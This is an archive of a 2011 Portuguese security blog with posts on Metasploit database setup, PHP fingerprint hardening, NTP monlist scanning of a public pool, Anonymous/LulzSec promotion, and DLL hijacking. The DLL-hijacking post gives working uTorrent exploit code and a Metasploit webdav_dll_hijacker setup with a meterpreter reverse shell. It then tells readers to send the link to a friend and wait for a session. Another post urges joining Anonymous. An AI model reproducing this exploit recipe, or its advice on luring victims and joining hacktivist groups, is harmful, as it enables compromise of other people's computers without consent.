sexta-feira, 29 de julho de 2011

Vídeos sobre: Cache, HDD IO, DNS, Postfix e SSH

Alguns vídeos interessantes (Inglês).


Understanding Cache hits and performance issues

Video by Network NUTS, showing the concept of cache-hit, cache-miss, cache-line-fill and determining which application uses the cache in a better manner. As an application that uses cache in a better manner is going to give you a much better working experience and performance.


Calculating HDD IO capacity (BHP)

Video by Network NUTS, shows how to use the little law to calculate the IO capacity of your HDD. Very useful for taking decision on when to change the HDD as it cannot take more load of requests arriving.




DNS Cache and Tuning
Video by Network NUTS, shows how to configure a DNS server for caching, how to configure the cache size, refresh time etc. how to check the DNS query log, how to measure DNS performance and how to configure DNS to use a alternate port for query.







Understanding master.cf of Postfix

Video by Network NUTS, shows and explain the relevant and importance of master.cf file within the postfix environment. The file master.cf is the master daemon that control and launches all other services required by the postfix.



SSH Server Hardening

video by Network NUTS, shows how to harden your ssh server to protect from unwanted intrusion attempts. It also shows the better way to allow SSH login via remote connections.





by Ctrl+C and Ctrl+V


quarta-feira, 6 de julho de 2011

BackTrack5 (BT5) + Metasploit + MySQL standalone server

No BT5 usando o Metasploit3, da um erro quando tentamos conectar com a base de dados. O procedimento abaixo foi tirado do forum do back track:

the purpose of this tutorial is to explain howto setup a standalone mysql server on BT5, and have metasploit connect to it. this is how I am doing it (using ruby1.8 - I have been unsuccessful at getting this to work with ruby 1.9.2 that comes with backtrack5 at this time). later I will update this HOWTO with using rvm, which negates the requirement to switch ruby version manually

root@root:~# apt-get install libmysqlclient-dev
root@root:~# start mysql
mysql start/running, process 3714

root@root:~# mysql -u root -p'toor'
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 39
Server version: 5.1.41-3ubuntu12.10 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database pwbv3;
Query OK, 1 row affected (0.00 sec)

mysql> grant usage on *.* to root@localhost identified by 'pass123';
Query OK, 0 rows affected (0.00 sec)

mysql> grant all privileges on pwbv3.* to root@localhost;
Query OK, 0 rows affected (0.00 sec)

mysql> exit
Bye

root@root:~# mysql -u root -p'pass123' pwbv3
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 41
Server version: 5.1.41-3ubuntu12.10 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> quit
Bye

root@root:~# update-alternatives --config ruby
There are 2 choices for the alternative ruby (providing /usr/bin/ruby).

  Selection    Path                Priority   Status
------------------------------------------------------------
  0            /usr/bin/ruby1.8     500       auto mode
  1            /usr/bin/ruby1.8     500       manual mode
* 2            /usr/bin/ruby1.9.2   400       manual mode

Press enter to keep the current choice[*], or type selection number: 0
update-alternatives: using /usr/bin/ruby1.8 to provide /usr/bin/ruby (ruby) in auto mode.

root@root:~# ruby -v
ruby 1.8.7 (2010-01-10 patchlevel 249) [i486-linux]

root@root:~# gem install mysql
root@root:~# ruby1.8 /pentest/exploits/framework3/msfconsole

                _                  _       _ _                                                          
               | |                | |     (_) |                                                          
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_                                                        
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|                                                        
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_                                                        
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|                                                        
                            | |                                                                          
                            |_|                                                                          
                                                                                                         

       =[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > db_driver mysql
[*] Using database driver mysql
msf > db_connect root:pass123@127.0.0.1:3306/pwbv3
msf > db_status
[*] mysql connected to pwbv3
msf > db_nmap -sS -n 192.168.99.133
[*] Nmap: Starting Nmap 5.51 ( http://nmap.org ) at 2011-05-13 17:13 EDT
[*] Nmap: Nmap scan report for 192.168.99.133
[*] Nmap: Host is up (0.00027s latency).
[*] Nmap: Not shown: 998 closed ports
[*] Nmap: PORT    STATE SERVICE
[*] Nmap: 22/tcp  open  ssh
[*] Nmap: 111/tcp open  rpcbind
[*] Nmap: MAC Address: XX:XX:XX:XX:XX:XX (VMware)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds
msf > db_hosts
Hosts
=====
address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
192.168.99.133  XX:XX:XX:XX:XX:XX                                                
msf > exit

fonte: http://www.backtrack-linux.org/forums/backtrack-5-experts-section/40584-bt5-metasploit-mysql-standalone-server.html

domingo, 26 de junho de 2011

Anonymous e LulzSec

Confira: http://pastebin.com/LPNwdDtU


We Are Anonymous
We Are Legion
We Do Not Forgive
We Do Not Forget
Expect Us

@LulzSec_BR
@LulzSec_Brazil
@LulzSec
@AnonymousIRC
@osvaldo_hp
#antisec
@anonymouSabu

Hacking
Sql injection

sábado, 25 de junho de 2011

Stop PHP Easter eggs fingerprinting

O primeiro passo de um atacante é coletar o máximo de informação necessária sobre o alvo. Em um servidor WEB com PHP instalado pode-se obter mais informações sobre o PHP colocando a string abaixo:

?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

Ficando assim:

www.sitealvo.com.br/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

Para desabilitar esta função no Linux edite o arquivo php.ini e altere:

expose_php = On
para:

expose_php = Off

No windows você tem que editar o arquivo system.ini.

Não existe sistema sem bug, tudo é uma questão de tempo, por isso tente dificultar ao máximo a vida de um hacker ou skiddie.

by Osvaldo H Peixoto

sexta-feira, 24 de junho de 2011

Anonymous declara guerra contra o sistema

O grupo conhecido como Anonymous declarou guerra contra o sistema no dia 15 de junho de 2011, o grupo disponibilizou um vídeo no youtube falando sobre suas idéias e planos:

http://www.youtube.com/watch?v=8c1ua7szp1U

Junte-se ao movimento:
http://www.whatis-theplan.org/login

quarta-feira, 8 de junho de 2011

Listando os Clientes do Servidor de Horas (NTPD)

O que não pode faltar em um ambiente seguro é o LOG, são eles que salvam a vida de qualquer administrador de Sistemas. Para manter um ambiente como este você precisa de um:

- servidor de log centralizado
- servidor de horas (NTPD)

Neste post não vou falar de servidor de log e nem de NTPD, apenas irei demonstrar como usar o módulo ntp_monlist.rb (1) do metasploit. Com este módulo você pode ver os IPs que estão utilizando o servidor de horas para sincronizar o horário. Em uma rede com muitos servidores este método nos ajudaria a detectar todas as máquinas que não estão sincronizando com o nosso servidor.

msf > use auxiliary/scanner/ntp/ntp_monlist
msf auxiliary(1mntp_monlist) > set RHOSTS pool.ntp.br
msf auxiliary(1mntp_monlist) > run

Espere pelo retorno dos IPs dos clientes que recentemente fizeram sincronismo com o servidor de horas.


(1) http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/scanner/ntp/ntp_monlist.rb

sexta-feira, 3 de junho de 2011

DLL Hijacking - agora é a minha vez

Tenho visto muitos posts sobre DLL Hijacking, que consiste em fazer com que o Windows rode uma DLL com código malicioso.

Neste post não vou detalhar esta vulnerabilidade e muito menos postar algo novo sobre o assunto, a idéia é postar um resumo do que eu acho importante daquilo que tenho visto em outros sites, por exemplo, um post no blog do HD Moore do projeto Metasploit falando sobre a ferramenta DLLHijackAuditKit v2.

Como explorar esta vulnerabilidade


Em 2010 foi descoberto uma vulnerabilidade no uTorrent chamada de "uTorrent <= 2.0.3 DLL Hijacking Exploit (plugin_dll.dll)"(1).

Uma breve explicação de como testar esse exploit:

Compile o código abaixo e nomeie para plugin_dll.dll:

#include
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

Crie um arquivo com qualquer nome, mas tem que ter a extensão .torrent, para o nosso exemplo vamos chamar esse arquivo de:

dllhijacking.torrent


Não se esqueça de instalar o uTorrent <= 2.0.3, dê dois cliques no arquivo (dllhijacking.torrent) e veja que a calculadora do Windows será executada. Poderíamos fazer com que fosse executado o uTorrent e uma backdoor no lugar da calculadora.

Este exploit já esta disponível no framework Metasploit, segue abaixo como executar esse modulo no framework:


#msfconsole
msf > use windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set basename nome_do_arquivo
msf exploit(webdav_dll_hijacker) > set extensions “torrent”
msf exploit(webdav_dll_hijacker) > set sharename arquivos
msf exploit(webdav_dll_hijacker) > set payload windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set lport 443
msf exploit(webdav_dll_hijacker) > set lhost 192.168.200.1
msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.200.1:443
[*] Exploit links are now available at \\192.168.200.1\arquivos\
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.200.1:80/
[*] Server started.


Mande o link "http://192.168.200.1/arquivos" para um amigo acessar e espere uma sessão ser aberta no metasploit, mas para funcionar ele tem que ter o uTorrent vulnerável.


obs: se você não sabe usar o Metasploit veja esse tutorial que postei aqui no blog:

http://osvaldohp.blogspot.com/2010/12/metasploit-parte-1.html

Como descobrir bibliotecas vulneráveis?

A resposta esta no blog do HD Moore do projeto Metasploit (2).  Moore fala sobre a nova versão da ferramenta  DLLHijackAuditKit v2, que serve para encontrar bibliotecas vulneráveis. No post de Moore ele descreve como você deve usar a ferramenta, segue abaixo os passos descrito por Moore:

1. Download DLLHijackAuditKit v2 e o Process Monitor, extraia para dentro de um diretório.

2. Execute 01_StartAudit.bat como Administrador.

3. Depois que o script acabar de executar (15-30 minutos), vá até o programa "Process Monitor", acesse File->Save. Salve o resultado no formato CSV com o nome "Logfile.CSV".

4. Agora execute 02_Analyze.bat como Administrador, ele ira "scanear" o arquivo CSV, ira realizar alguns testes e criar a prova de conceito para cada teste positivo.

Veja esse vídeo que mostra como executar o DLLHijackAuditKit e criar um payload com o metasploit para explorar esta vulnerabilidade se conectando em um netcat:

http://vimeo.com/14442659


A equipe do exploit-db fez uma lista com vários programas que estão vulneráveis a DLL Hijacking:

http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

links:
(1) http://www.exploit-db.com/exploits/14726/
(2) http://blog.metasploit.com/2010/08/better-faster-stronger.html